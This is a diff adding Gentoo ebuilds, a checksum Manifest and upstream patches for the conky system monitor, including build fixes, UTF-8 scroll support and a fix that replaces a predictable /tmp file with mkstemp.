+diff --git a/src/net_stat.h b/src/net_stat.h
+index 463e7db..6f5533c 100644
+--- a/src/net_stat.h
++++ b/src/net_stat.h
+@@ -41,7 +41,7 @@ struct net_stat {
+         double recv_speed, trans_speed;
+         struct sockaddr addr;
+ #if defined(__linux__)
+-        char addrs[273];
++        char addrs[17 * MAX_NET_INTERFACES + 1];
+ #endif /* __linux__ */
+         double net_rec[15], net_trans[15];
+         // wireless extensions
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky-full/files/conky-1.8.1-nvidia-x.patch b/app-admin/conky-full/files/conky-1.8.1-nvidia-x.patch
new file mode 100644
index 00000000..b56cee5f
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-nvidia-x.patch
@@ -0,0 +1,33 @@
+From b72004787038371098a745c9358e8e1552d945d5 Mon Sep 17 00:00:00 2001
+From: Brenden Matthews <brenden@diddyinc.com>
+Date: Wed, 6 Oct 2010 11:49:27 -0700
+Subject: [PATCH] Bulid fix for nvidia support.
+
+See http://bugs.gentoo.org/show_bug.cgi?id=339971 for details.
+---
+ src/nvidia.c |    4 +++-
+ 1 files changed, 3 insertions(+), 1 deletions(-)
+
+diff --git a/src/nvidia.c b/src/nvidia.c
+index 8a6423e..5f378d8 100644
+--- a/src/nvidia.c
++++ b/src/nvidia.c
+@@ -32,6 +32,7 @@
+ #include "logging.h"
+ #include "nvidia.h"
+ #include "temphelper.h"
++#include "x11.h"
+ #include <NVCtrl/NVCtrlLib.h>
+ 
+ const int nvidia_query_to_attr[] = {NV_CTRL_GPU_CORE_TEMPERATURE,
+@@ -145,5 +146,6 @@ void set_nvidia_display(const char *disp)
+ 		if ((nvdisplay = XOpenDisplay(disp)) == NULL) {
+ 			CRIT_ERR(NULL, NULL, "can't open nvidia display: %s", XDisplayName(disp));
+ 		}
+-	}	
++	}
+ }
++
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky-full/files/conky-1.8.1-secunia-SA43225.patch b/app-admin/conky-full/files/conky-1.8.1-secunia-SA43225.patch
new file mode 100644
index 00000000..81272bd3
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-secunia-SA43225.patch
@@ -0,0 +1,72 @@
+--- src/eve.c	2011-02-12 13:26:34.636269667 +0100
++++ src/eve.c	2011-02-12 13:26:48.242936334 +0100
+@@ -254,19 +254,6 @@
+ 	}
+ }
+ 
+-static int file_exists(const char *filename)
+-{
+-	struct stat fi;
+-
+-	if ((stat(filename, &fi)) == 0) {
+-		if (fi.st_size > 0)
+-			return 1;
+-		else
+-			return 0;
+-	} else
+-		return 0;
+-}
+-
+ static void writeSkilltree(char *content, const char *filename)
+ {
+ 	FILE *fp = fopen(filename, "w");
+@@ -283,13 +270,12 @@
+ 	xmlDocPtr doc = 0;
+ 	xmlNodePtr root = 0;
+ 
+-	if (!file_exists(file)) {
+-		skilltree = getXmlFromAPI(NULL, NULL, NULL, EVEURL_SKILLTREE);
+-		writeSkilltree(skilltree, file);
+-		free(skilltree);
+-	}
++	skilltree = getXmlFromAPI(NULL, NULL, NULL, EVEURL_SKILLTREE);
++	writeSkilltree(skilltree, file);
++	free(skilltree);
+ 
+ 	doc = xmlReadFile(file, NULL, 0);
++	unlink(file);
+ 	if (!doc)
+ 		return NULL;
+ 
+@@ -340,7 +326,7 @@
+ static char *eve(char *userid, char *apikey, char *charid)
+ {
+ 	Character *chr = NULL;
+-	const char *skillfile = "/tmp/.cesf";
++	char skillfile[] = "/tmp/.cesfXXXXXX";
+ 	int i = 0;
+ 	char *output = 0;
+ 	char *timel = 0;
+@@ -348,6 +334,7 @@
+ 	char *content = 0;
+ 	time_t now = 0;
+ 	char *error = 0;
++	int tmp_fd, old_umask;
+ 
+ 
+ 	for (i = 0; i < MAXCHARS; i++) {
+@@ -400,6 +387,14 @@
+ 
+ 		output = (char *)malloc(200 * sizeof(char));
+ 		timel = formatTime(&chr->ends);
++		old_umask = umask(0066);
++		tmp_fd = mkstemp(skillfile);
++		umask(old_umask);
++		if (tmp_fd == -1) {
++			error = strdup("Cannot create temporary file");
++			return error;
++		}
++		close(tmp_fd);
+ 		skill = getSkillname(skillfile, chr->skill);
+ 
+ 		chr->skillname = strdup(skill);
diff --git a/app-admin/conky-full/files/conky-1.8.1-utf8-scroll.patch b/app-admin/conky-full/files/conky-1.8.1-utf8-scroll.patch
new file mode 100644
index 00000000..8b9e1e8f
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-utf8-scroll.patch
@@ -0,0 +1,104 @@
+From b1f6a30bcce020b3c377434137de9856a09b899a Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Amadeusz=20=C5=BBo=C5=82nowski?= <aidecoe@aidecoe.name>
+Date: Fri, 11 Nov 2011 11:27:43 +0100
+Subject: [PATCH] Make scroll UTF-8 aware.  Fixes bug #3134941.
+
+---
+ src/scroll.c |   44 ++++++++++++++++++++++++++++++++++++++++++--
+ 1 files changed, 42 insertions(+), 2 deletions(-)
+
+diff --git a/src/scroll.c b/src/scroll.c
+index f78f807..738db0d 100644
+--- a/src/scroll.c
++++ b/src/scroll.c
+@@ -34,12 +34,33 @@
+ 
+ struct scroll_data {
+ 	char *text;
++	unsigned int show_orig;
+ 	unsigned int show;
+ 	unsigned int step;
+ 	unsigned int start;
+ 	long resetcolor;
+ };
+ 
++int utf8_charlen(char c) {
++	unsigned char uc = (unsigned char) c;
++	int len = 0;
++
++	if ((uc & 0x80) == 0)
++		return 1;
++
++	while ((uc & 0x80) != 0) {
++		++len;
++		uc <<= 1;
++	}
++
++	return (len > 0 && len <= 4) ? len : -1;
++}
++
++int is_utf8_char_tail(char c) {
++	unsigned char uc = (unsigned char) c;
++	return (uc & 0xc0) == 0x80;
++}
++
+ void parse_scroll_arg(struct text_object *obj, const char *arg, void *free_at_crash)
+ {
+ 	struct scroll_data *sd;
+@@ -60,15 +81,18 @@ void parse_scroll_arg(struct text_object *obj, const char *arg, void *free_at_cr
+ 		sd->step = 1;
+ 	}
+ 	sd->text = malloc(strlen(arg + n1) + sd->show + 1);
++	// sd->show value may change when there are UTF-8 chars to be shown, so
++	// save its origin value
++	sd->show_orig = sd->show;
+ 
+ 	if (strlen(arg) > sd->show) {
+ 		for(n2 = 0; (unsigned int) n2 < sd->show; n2++) {
+-		    sd->text[n2] = ' ';
++			sd->text[n2] = ' ';
+ 		}
+ 		sd->text[n2] = 0;
+ 	}
+ 	else
+-	    sd->text[0] = 0;
++		sd->text[0] = 0;
+ 
+ 	strcat(sd->text, arg + n1);
+ 	sd->start = 0;
+@@ -82,9 +106,13 @@ void print_scroll(struct text_object *obj, char *p, int p_max_size, struct infor
+ {
+ 	struct scroll_data *sd = obj->data.opaque;
+ 	unsigned int j, colorchanges = 0, frontcolorchanges = 0, visibcolorchanges = 0, strend;
++	int charlen = 0;
++	unsigned int utf8lenfix = 0;
+ 	char *pwithcolors;
+ 	char buf[max_user_text];
+ 
++	sd->show = sd->show_orig;
++
+ 	if (!sd)
+ 		return;
+ 
+@@ -109,6 +137,18 @@ void print_scroll(struct text_object *obj, char *p, int p_max_size, struct infor
+ 	while(*(buf + sd->start) == SPECIAL_CHAR) {
+ 		sd->start++;
+ 	}
++	//skip parts of UTF-8 character which messes up display
++	while(is_utf8_char_tail(*(buf + sd->start))) {
++		sd->start++;
++	}
++	//extend length to be shown for wide characters
++	j = 0;
++	while(j < sd->show + visibcolorchanges + utf8lenfix) {
++		charlen = utf8_charlen(*(buf + sd->start + j));
++		utf8lenfix += (charlen > 1 ? charlen - 1 : 0);
++		j += charlen;
++	}
++	sd->show = sd->show_orig + utf8lenfix;
+ 	//place all chars that should be visible in p, including colorchanges
+ 	for(j=0; j < sd->show + visibcolorchanges; j++) {
+ 		p[j] = *(buf + sd->start + j);
+-- 
+1.7.8.rc1
+
diff --git a/app-admin/conky-full/files/conky-1.8.1-xmms2.patch b/app-admin/conky-full/files/conky-1.8.1-xmms2.patch
new file mode 100644
index 00000000..a1b03d45
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.8.1-xmms2.patch
@@ -0,0 +1,36 @@
+From 8dd9b91bb2751abccc02b53cefd0ab8f0e3b957d Mon Sep 17 00:00:00 2001
+From: Brenden Matthews <brenden@diddyinc.com>
+Date: Thu, 14 Oct 2010 16:51:53 -0700
+Subject: [PATCH] Build fix for XMMS2.
+
+This resolves bug 3085691, see:
+https://sourceforge.net/tracker/index.php?func=detail&aid=3085691&group_id=143975&atid=757308
+---
+ src/xmms2.c |    4 ++--
+ 1 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/xmms2.c b/src/xmms2.c
+index 521bffa..94f13f9 100644
+--- a/src/xmms2.c
++++ b/src/xmms2.c
+@@ -223,7 +223,7 @@ int handle_playback_state_change(xmmsv_t *value, void *p)
+ 				break;
+ 			case XMMS_PLAYBACK_STATUS_STOP:
+ 				strncpy(ptr->xmms2.status, "Stopped", text_buffer_size - 1);
+-				ptr->xmms2.elapsed = ptr->xmms2.progress = ptr->xmms2.percent = 0;
++ 				ptr->xmms2.elapsed = ptr->xmms2.progress = 0;
+ 				break;
+ 			default:
+ 				strncpy(ptr->xmms2.status, "Unknown", text_buffer_size - 1);
+@@ -232,7 +232,7 @@ int handle_playback_state_change(xmmsv_t *value, void *p)
+ 	return TRUE;
+ }
+ 
+-int handle_playlist_loaded(xmmsv_t *value, void *p) 
++int handle_playlist_loaded(xmmsv_t *value, void *p)
+ {
+ 	struct information *ptr = p;
+ 	const char *c, *errbuf;
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky-full/files/conky-1.9.0-ncurses.patch b/app-admin/conky-full/files/conky-1.9.0-ncurses.patch
new file mode 100644
index 00000000..91043ed4
--- /dev/null
+++ b/app-admin/conky-full/files/conky-1.9.0-ncurses.patch
@@ -0,0 +1,31 @@
+From fd9462da5ed12369fc6a72e42ebc45c6707403fb Mon Sep 17 00:00:00 2001
+From: Pavel Labath <pavelo@centrum.sk>
+Date: Fri, 13 Jul 2012 13:41:09 +0200
+Subject: [PATCH] Fix "conky failes to build with --disable-ncurses" (sf.net #3541329)
+
+---
+ src/conky.c |    4 ++--
+ 1 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/conky.c b/src/conky.c
+index c5b4bed..17fe1a7 100644
+--- a/src/conky.c
++++ b/src/conky.c
+@@ -885,12 +885,12 @@ void generate_text_internal(char *p, int p_max_size,
+ 			OBJ(cpu) {
+ 				if (cur->cpu_usage) {
+ 					if (obj->data.i > info.cpu_count) {
+-						static bool warned = false;
++						static int warned = 0;
+ 						if(!warned) {
+ 							NORM_ERR("obj->data.i %i info.cpu_count %i",
+ 									obj->data.i, info.cpu_count);
+ 							NORM_ERR("attempting to use more CPUs than you have!");
+-							warned = true;
++							warned = 1;
+ 						}
+ 					} else  {
+ 						percent_print(p, p_max_size,
+-- 
+1.7.0.4
+
diff --git a/app-admin/conky/Manifest b/app-admin/conky/Manifest
new file mode 100644
index 00000000..5b5b8a29
--- /dev/null
+++ b/app-admin/conky/Manifest
@@ -0,0 +1,15 @@
+AUX conky-1.8.1-acpitemp.patch 2415 SHA256 57815044cd972139171b76e75267792821c783e03537eb6cf7ba8105c46cdf8d SHA512 8c376fe44e72c7bd8526bd51a4ec6a85919e4bfb1189fc2e0b15172ca5a76c6e5c6ece56f186b8da8e720bc5769b2c36fff76367c7c7a587648ad837b7085f1b WHIRLPOOL 849aa8f18b2ab021b0ffcf52cca544f5464f61df0745018bae4ddf938005ef477bc4aa702d2c335e190e353e0897fd2636c95f595202b76b7752d652f2da4f0a
+AUX conky-1.8.1-battery-time.patch 655 SHA256 d47e966e61a212048a8c752f1885e567a6b2c497da508dee8be64b205a5a422d SHA512 951ab73eca1a1ca059c127e001c556fed4dec6d9b6b63365d6826be7105b6ac87f2a36b6799aa313dd8a3519d3aea0ff7a6aa8ef46bc36cf6de7ccb7248854e5 WHIRLPOOL f6139a92d78e383dd9a006d40b96272a82165db9d94da90f729db1d65ae0bca39b62b9391c514ef23cb078007d0ccdfece3e89cde73506804c67222e75baf7b0
+AUX conky-1.8.1-curl-headers.patch 494 SHA256 53ff30aa933163a1feb646720ea21b4727d515e33521ac53e77b8bd9d0473eba SHA512 1b78d0c34b86ff75179ead6413487f827ad1ed3627cc6694bc0fd49b214ef4c9d3c05c4dcb8cf3cb4615ab25086e25d3d0f25a897daa410286df41ec38af682c WHIRLPOOL d8acd19f59063a75205b2901fe7e47a7233f73e18263132fe607208c5a6dec5cdcbba215dd7089477ae1d5a6d7d153afd54b78bed69184129a1d556d5505d779
+AUX conky-1.8.1-lua-5.2.patch 731 SHA256 a52fe3067c927340a6f1c485f566db9496684bd89b781e1a320b8a02f115c98f SHA512 facbc8bfb4c7458f06eda35c99443deb09fbea9d9b93ff7dc37d1e159ed27051f081e71ffc937ea33f893c3ccbc2580e05d879e7118f68ba4de819dd820adda2 WHIRLPOOL 1ca7a363fc589af282bfb7767ce1954e7ce7799073b62f06165b2054e9019a7b82423efa9cbce8c548d659d6c9ca26abc6668caf6b3abef9fe80faee32f93f23
+AUX conky-1.8.1-maxinterfaces.patch 1605 SHA256 34f1e53fb145fb252e1f91bcd60803870f12e4e0b31d691accc4cd83dda970ad SHA512 1423d11ae6ce1f601f2bc1f0df2e4ed7b32d17d63d5c15b4ff618bdc3a441b6161b4b9fb12aa8bb6a722b4707830999a1cf221f47ff4e3ac6567b4201aaf794b WHIRLPOOL 15a068a617818af171d60cebc89fab13f7c71c3f2ad7d25df01820bea3c4a2e1bb325eefa427b0ae40d6672651252bfbaa97c9f68248172dbe354262e0cad3c2
+AUX conky-1.8.1-nvidia-x.patch 883 SHA256 290ffdf4094167715bf11b86ee2cf73574a3af32ffb50fa09517d89c56bc0853 SHA512 5dc5e22a0d2b8fca8dd4be929cb2b1c7812ed8461e749dfc05e2d9fc7247d218154cfbb93b358f7080dada6b9b8e7fee25c0a71c9b0ec3ea4cc33fceab830020 WHIRLPOOL c10f56f67d56e0ac9282caee93fcbba982d709e65b0e9f35932037a21d430e3a3f5d9ef7d56368ea74135a158e10a6beef2c2a867d15664cc91852e12ea2795a
+AUX conky-1.8.1-secunia-SA43225.patch 1620 SHA256 61c2d204796f51d0d51cd62e9a37a9f4f318e8fe8f955278ef86b64d5b2ff99f SHA512 fde4d36d14ee7f8bb39104c23d336153b09436c8824676e4b003b1d46d2d7af00997839802745e03f5980f001c94c191805bcffe9f81485e71e2b782f7ae3086 WHIRLPOOL e2ad91607d10894227d5e33f3a0ea7d9fa82a72511c91295c1d9e1c668d942b1e53ee05322b7e3c4da5341793fcd6ff8deb9d4a9f75cb35ff3f2f874cd34aae2
+AUX conky-1.8.1-utf8-scroll.patch 2814 SHA256 ee622cda243c7265915c858b264fc4750a329f5c7e9a29323421a777291acfb7 SHA512 a88c49e83b360949d6450f1fbee22dc6648586f5469f6256581db7c55ba8efc35c01756fa241bfc13df0b44390d36ef72e4250d18a8743d62089e2f57f9f8fbd WHIRLPOOL 951e9b9083033a4d247bfeee12ee4f3da30ae53015c7b8095d587fb544e720c627b951ccee5da418c719a05c9a55b560d6bcb56cdfa5daaa6f50cee1a828327e
+AUX conky-1.8.1-xmms2.patch 1190 SHA256 1b64047f04239dbf24b3171fcd8d5c950e9f8aa6af5e94cd4836cd14c70e2bdc SHA512 ec7f526a3b3fed3a80b1f998bbf2f1d48931caa209605767283da8440551c950a6f8bf7efcca6fde51f085b3eb5abb1a357dee6b2b32c4537edf9fae5fd0d1d5 WHIRLPOOL 904226a6749f7516c46a75e36b83218b27018b328196086d5a9624d726a5b9d31c87dfa8df9b60f013be64487cb6bbf5291014b1d350681d7412932b29bddc42
+AUX conky-1.9.0-ncurses.patch 939 SHA256 76a777bab29009c2053b61e9e5904aea131c93d5f026acc161048374f75e72f6 SHA512 0a0737bec67eb241dee4029907d9f3e5bc8d49c8239fbdda5cbfa2b7b0aa50fb2ac9bf3397ccecd94768a176fc6c3ec0e18d67391d9285aff9658ba234202d4e WHIRLPOOL 0893db6ffbc2b37c58b2de8e34e4288640a1d3a5e3a754bd39faec141a7e94e49c83011f5eb58c86afe838fff1b77a661ff63a61f6780f9ca5e5b24f50463014
+DIST conky-1.8.1.tar.bz2 612481 SHA256 f85a278f2869596b1fd68b6d26d58c93af8dcc39d5186bbcfd587d4c545e5e43 SHA512 cd863c1d4bb28e18073ec540aec2e9286767d38d21699dc74b9c0e66d3e4ccddf43e4d99fd0da9fe1cd67e29faf64312a910e0e9e4e86ef60705aa1c2184c50d WHIRLPOOL f19e454a7082f0a5aeec9cd40e134991b9d07a7e4d71c9be452092d6d625bbc310530914b54cecba2b3e971bf459e26a28501f6b458b1e6e983e7460ae72a257
+DIST conky-1.9.0.tar.bz2 626555 SHA256 baf1b550f135fbfb53e5e286a33aadc03a667d63bf6c4d52ba7637366295bb6f SHA512 98c9f69fd8bee2062e3eddeb7a394cce932199ffd6c8664006d1222f0453569406613e63637848c77a455f7dae3f16be3079a2cab56ecafea51ec043de23c889 WHIRLPOOL 41bbe95ec838dbda2c2d4a9422d2f2f7d22d0cb99e87c59fbd32c0c7856cc83de36cbeefd982c964ec5229ae0b0342e84525aa5343d8c5cf9525205cea4a274a
+EBUILD conky-1.8.1-r6.ebuild 4199 SHA256 35030ad941820c637159ed3015679f9b9aa628f490d3808d6524bff716621f3d SHA512 3417074b21d24d7522793b40ae7990a890dbb303d7c8ded575ca8328757808dc5a58fe0fd7166dce509b84e4653eb6fbee0abbbad73e8edb35926e669d183bb5 WHIRLPOOL 47f58224e4f95d1f147793a4fda939f852893fcd0dcab4a4cb63accfa6e018b28468fced134fbaef034cbe18aea69efb8dc53ec98f2f9764e98647feff735ff7
+EBUILD conky-1.9.0.ebuild 3935 SHA256 111816db2ff78ec1f624609a6876bf55446f9e28df1ab49844f6d6ae876f5f75 SHA512 aba504bb791117ff922223b4bef7afe566b0f350b293975f40aa537151f58f6abc819ddccba671b3dff5ebb38803d81b08d5d914c338cac327cd8abccf4a1aeb WHIRLPOOL 3782b4de800ceaecf9f530217ae96b4790941289a81d032071c960edbe3289810306040f571e3af51d15bb711613af28fa00a56d788c0034f2636f1b23d1fe28
+MISC metadata.xml 2035 SHA256 7629c0d86a74d086f1b9934919881b5ee82c285e94d58d4a802694633ea11302 SHA512 546dafceed03c1148cdd4003021112306b636124f0f4ee13950d4a1b5bb8a7ff56256e6acf131e08e4573195e987810d562b2c202ba9c3022097a52e47c1f325 WHIRLPOOL 3e2eebfc6456a2e3d4658076ba8a02c84ff7a967768330e6df866589886b10dceccdaf8ff4d6863a2a61f676cb09d60ab8d7f5e57e1ae895b890f12de009dc23
diff --git a/app-admin/conky/conky-1.8.1-r6.ebuild b/app-admin/conky/conky-1.8.1-r6.ebuild
new file mode 100644
index 00000000..761bd6eb
--- /dev/null
+++ b/app-admin/conky/conky-1.8.1-r6.ebuild
@@ -0,0 +1,134 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-admin/conky/conky-1.8.1-r6.ebuild,v 1.8 2012/05/03 18:02:22 jdhore Exp $
+
+EAPI=2
+
+inherit autotools eutils
+
+DESCRIPTION="An advanced, highly configurable system monitor for X"
+HOMEPAGE="http://conky.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-3 BSD LGPL-2.1 MIT"
+SLOT="0"
+KEYWORDS="alpha amd64 ppc ppc64 sparc x86"
+IUSE="apcupsd audacious curl debug eve hddtemp imlib iostats lua lua-cairo lua-imlib math moc mpd nano-syntax ncurses nvidia +portmon rss thinkpad truetype vim-syntax weather-metar weather-xoap wifi X xmms2"
+
+DEPEND_COMMON="
+	X? (
+		imlib? ( media-libs/imlib2 )
+		lua-cairo? ( >=dev-lua/toluapp-1.0.93 x11-libs/cairo[X] )
+		lua-imlib? ( >=dev-lua/toluapp-1.0.93 media-libs/imlib2 )
+		nvidia? ( media-video/nvidia-settings )
+		truetype? ( x11-libs/libXft >=media-libs/freetype-2 )
+		x11-libs/libX11
+		x11-libs/libXdamage
+		x11-libs/libXext
+		audacious? ( >=media-sound/audacious-1.5 dev-libs/glib )
+		xmms2? ( media-sound/xmms2 )
+	)
+	curl? ( net-misc/curl )
+	eve? ( net-misc/curl dev-libs/libxml2 )
+	portmon? ( dev-libs/glib )
+	lua? ( >=dev-lang/lua-5.1 )
+	ncurses? ( sys-libs/ncurses )
+	rss? ( dev-libs/libxml2 net-misc/curl dev-libs/glib )
+	wifi? ( net-wireless/wireless-tools )
+	weather-metar? ( net-misc/curl )
+	weather-xoap? ( dev-libs/libxml2 net-misc/curl )
+	virtual/libiconv
+	"
+RDEPEND="
+	${DEPEND_COMMON}
+	apcupsd? ( sys-power/apcupsd )
+	hddtemp? ( app-admin/hddtemp )
+	moc? ( media-sound/moc )
+	nano-syntax? ( app-editors/nano )
+	vim-syntax? ( || ( app-editors/vim app-editors/gvim ) )
+	"
+DEPEND="
+	${DEPEND_COMMON}
+	virtual/pkgconfig
+	"
+
+src_prepare() {
+	epatch "${FILESDIR}/${P}-nvidia-x.patch" \
+		"${FILESDIR}/${P}-xmms2.patch" \
+		"${FILESDIR}/${P}-secunia-SA43225.patch" \
+		"${FILESDIR}/${P}-acpitemp.patch" \
+		"${FILESDIR}/${P}-curl-headers.patch" \
+		"${FILESDIR}/${P}-maxinterfaces.patch" \
+		"${FILESDIR}/${P}-utf8-scroll.patch" \
+		"${FILESDIR}/${P}-battery-time.patch" \
+		"${FILESDIR}/${P}-lua-5.2.patch"
+	eautoreconf
+}
+
+src_configure() {
+	local myconf
+
+	if use X; then
+		myconf="--enable-x11 --enable-double-buffer --enable-xdamage"
+		myconf="${myconf} --enable-argb --enable-own-window"
+		myconf="${myconf} $(use_enable imlib imlib2) $(use_enable lua-cairo)"
+		myconf="${myconf} $(use_enable lua-imlib lua-imlib2)"
+		myconf="${myconf} $(use_enable nvidia) $(use_enable truetype xft)"
+		myconf="${myconf} $(use_enable audacious) $(use_enable xmms2)"
+	else
+		myconf="--disable-x11 --disable-own-window --disable-argb"
+		myconf="${myconf} --disable-lua-cairo --disable-nvidia --disable-xft"
+		myconf="${myconf} --disable-audacious --disable-xmms2"
+	fi
+
+	econf \
+		${myconf} \
+		$(use_enable apcupsd) \
+		$(use_enable curl) \
+		$(use_enable debug) \
+		$(use_enable eve) \
+		$(use_enable hddtemp) \
+		$(use_enable iostats) \
+		$(use_enable lua) \
+		$(use_enable thinkpad ibm) \
+		$(use_enable math) \
+		$(use_enable moc) \
+		$(use_enable mpd) \
+		$(use_enable ncurses) \
+		$(use_enable portmon) \
+		$(use_enable rss) \
+		$(use_enable weather-metar) \
+		$(use_enable weather-xoap) \
+		$(use_enable wifi wlan)
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die
+	dodoc ChangeLog AUTHORS TODO || die
+	dohtml doc/docs.html doc/config_settings.html doc/variables.html || die
+
+	if use vim-syntax; then
+		insinto /usr/share/vim/vimfiles/ftdetect
+		doins "${S}"/extras/vim/ftdetect/conkyrc.vim || die
+
+		insinto /usr/share/vim/vimfiles/syntax
+		doins "${S}"/extras/vim/syntax/conkyrc.vim || die
+	fi
+
+	if use nano-syntax; then
+		insinto /usr/share/nano/
+		doins "${S}"/extras/nano/conky.nanorc || die
+	fi
+}
+
+pkg_postinst() {
+	elog "You can find a sample configuration file at ${ROOT%/}/etc/conky/conky.conf."
+	elog "To customize, copy it to ~/.conkyrc and edit it to your liking."
+	elog
+	elog "For more info on Conky's features please look at the Changelog in"
+	elog "${ROOT%/}/usr/share/doc/${PF}. There are also pretty html docs available"
+	elog "on Conky's site or in ${ROOT%/}/usr/share/doc/${PF}/html."
+	elog
+	elog "Also see http://www.gentoo.org/doc/en/conky-howto.xml"
+	elog
+}
diff --git a/app-admin/conky/conky-1.9.0.ebuild b/app-admin/conky/conky-1.9.0.ebuild
new file mode 100644
index 00000000..56d0eb4d
--- /dev/null
+++ b/app-admin/conky/conky-1.9.0.ebuild
@@ -0,0 +1,136 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-admin/conky/conky-1.9.0.ebuild,v 1.3 2012/08/12 12:02:35 ago Exp $
+
+EAPI=4
+
+inherit eutils
+
+MY_P="conky-1.9.0"
+MY_V="1.9.0"
+MY_PN="conky"
+
+DESCRIPTION="An advanced, highly configurable system monitor for X"
+HOMEPAGE="http://conky.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.bz2"
+
+LICENSE="GPL-3 BSD LGPL-2.1 MIT"
+SLOT="0"
+KEYWORDS="~alpha amd64 ~ppc ~ppc64 ~sparc ~x86"
+IUSE="apcupsd -audacious curl debug eve hddtemp imlib iostats lua lua-cairo lua-imlib math moc mpd nano-syntax ncurses nvidia +portmon rss thinkpad truetype vim-syntax weather-metar weather-xoap wifi X xmms2"
+
+DEPEND_COMMON="
+	X? (
+		imlib? ( media-libs/imlib2 )
+		lua-cairo? (
+			>=dev-lua/toluapp-1.0.93
+			>=dev-lang/lua-5.1.4-r8
+			x11-libs/cairo[X] )
+		lua-imlib? (
+			>=dev-lua/toluapp-1.0.93
+			>=dev-lang/lua-5.1.4-r8
+			media-libs/imlib2 )
+		nvidia? ( media-video/nvidia-settings )
+		truetype? ( x11-libs/libXft >=media-libs/freetype-2 )
+		x11-libs/libX11
+		x11-libs/libXdamage
+		x11-libs/libXext
+		audacious? ( >=media-sound/audacious-1.5 dev-libs/glib )
+		xmms2? ( media-sound/xmms2 )
+	)
+	curl? ( net-misc/curl )
+	eve? ( net-misc/curl dev-libs/libxml2 )
+	portmon? ( dev-libs/glib )
+	lua? ( >=dev-lang/lua-5.1.4-r8 )
+	ncurses? ( sys-libs/ncurses )
+	rss? ( dev-libs/libxml2 net-misc/curl dev-libs/glib )
+	wifi? ( net-wireless/wireless-tools )
+	weather-metar? ( net-misc/curl )
+	weather-xoap? ( dev-libs/libxml2 net-misc/curl )
+	virtual/libiconv
+	"
+RDEPEND="
+	${DEPEND_COMMON}
+	apcupsd? ( sys-power/apcupsd )
+	hddtemp? ( app-admin/hddtemp )
+	moc? ( media-sound/moc )
+	nano-syntax? ( app-editors/nano )
+	vim-syntax? ( || ( app-editors/vim app-editors/gvim ) )
+	"
+DEPEND="
+	${DEPEND_COMMON}
+	virtual/pkgconfig
+	"
+
+src_prepare() {
+	epatch "${FILESDIR}/${PN}-1.8.1-utf8-scroll.patch" \
+		"${FILESDIR}/${MY_P}-ncurses.patch"
+}
+
+src_configure() {
+	local myconf
+
+	if use X; then
+		myconf="--enable-x11 --enable-double-buffer --enable-xdamage"
+		myconf="${myconf} --enable-argb --enable-own-window"
+		myconf="${myconf} $(use_enable imlib imlib2) $(use_enable lua-cairo)"
+		myconf="${myconf} $(use_enable lua-imlib lua-imlib2)"
+		myconf="${myconf} $(use_enable nvidia) $(use_enable truetype xft)"
+		myconf="${myconf} $(use_enable audacious) $(use_enable xmms2)"
+	else
+		myconf="--disable-x11 --disable-own-window --disable-argb"
+		myconf="${myconf} --disable-lua-cairo --disable-nvidia --disable-xft"
+		myconf="${myconf} --disable-audacious --disable-xmms2"
+	fi
+
+	econf \
+		${myconf} \
+		$(use_enable apcupsd) \
+		$(use_enable curl) \
+		$(use_enable debug) \
+		$(use_enable eve) \
+		$(use_enable hddtemp) \
+		$(use_enable iostats) \
+		$(use_enable lua) \
+		$(use_enable thinkpad ibm) \
+		$(use_enable math) \
+		$(use_enable moc) \
+		$(use_enable mpd) \
+		$(use_enable ncurses) \
+		$(use_enable portmon) \
+		$(use_enable rss) \
+		$(use_enable weather-metar) \
+		$(use_enable weather-xoap) \
+		$(use_enable wifi wlan)
+}
+
+src_install() {
+	default
+
+	dohtml doc/{config_settings.html,docs.html,lua.html,variables.html}
+
+	if use vim-syntax; then
+		insinto /usr/share/vim/vimfiles/ftdetect
+		doins "${S}"/extras/vim/ftdetect/conkyrc.vim
+
+		insinto /usr/share/vim/vimfiles/syntax
+		doins "${S}"/extras/vim/syntax/conkyrc.vim
+	fi
+
+	if use nano-syntax; then
+		insinto /usr/share/nano/
+		doins "${S}"/extras/nano/conky.nanorc
+	fi
+}
+
+pkg_postinst() {
+	elog "You can find a sample configuration file at ${ROOT%/}/etc/conky/conky.conf."
+	elog "To customize, copy it to ~/.conkyrc and edit it to your liking."
+	elog
+	elog "For more info on Conky's features please look at the Changelog in"
+	elog "${ROOT%/}/usr/share/doc/${PF}. There are also pretty html docs available"
+	elog "on Conky's site or in ${ROOT%/}/usr/share/doc/${PF}/html."
+	elog
+	elog "Also see http://www.gentoo.org/doc/en/conky-howto.xml"
+	elog
+}
diff --git a/app-admin/conky/files/conky-1.8.1-acpitemp.patch b/app-admin/conky/files/conky-1.8.1-acpitemp.patch
new file mode 100644
index 00000000..9632b99e
--- /dev/null
+++ b/app-admin/conky/files/conky-1.8.1-acpitemp.patch
@@ -0,0 +1,81 @@
+From 1b90218c339467770254aba03e3f0a3acc4af4b0 Mon Sep 17 00:00:00 2001
+From: Nikolas Garofil <nikolas@garofil.be>
+Date: Wed, 10 Nov 2010 18:22:22 +0100
+Subject: [PATCH] Let $acpitemp use /sys instead of /proc
+
+From the 2.6.36 changelog (http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.36):
+Mark the ACPI thermal procfs I/F deprecated, because /sys/class/thermal/ is already available and has been working for years w/o any problem.
+The ACPI thermal procfs I/F will be removed in 2.6.37
+---
+ src/linux.cc |   26 ++++++++++++--------------
+ 1 files changed, 12 insertions(+), 14 deletions(-)
+
+diff --git a/src/linux.cc b/src/linux.cc
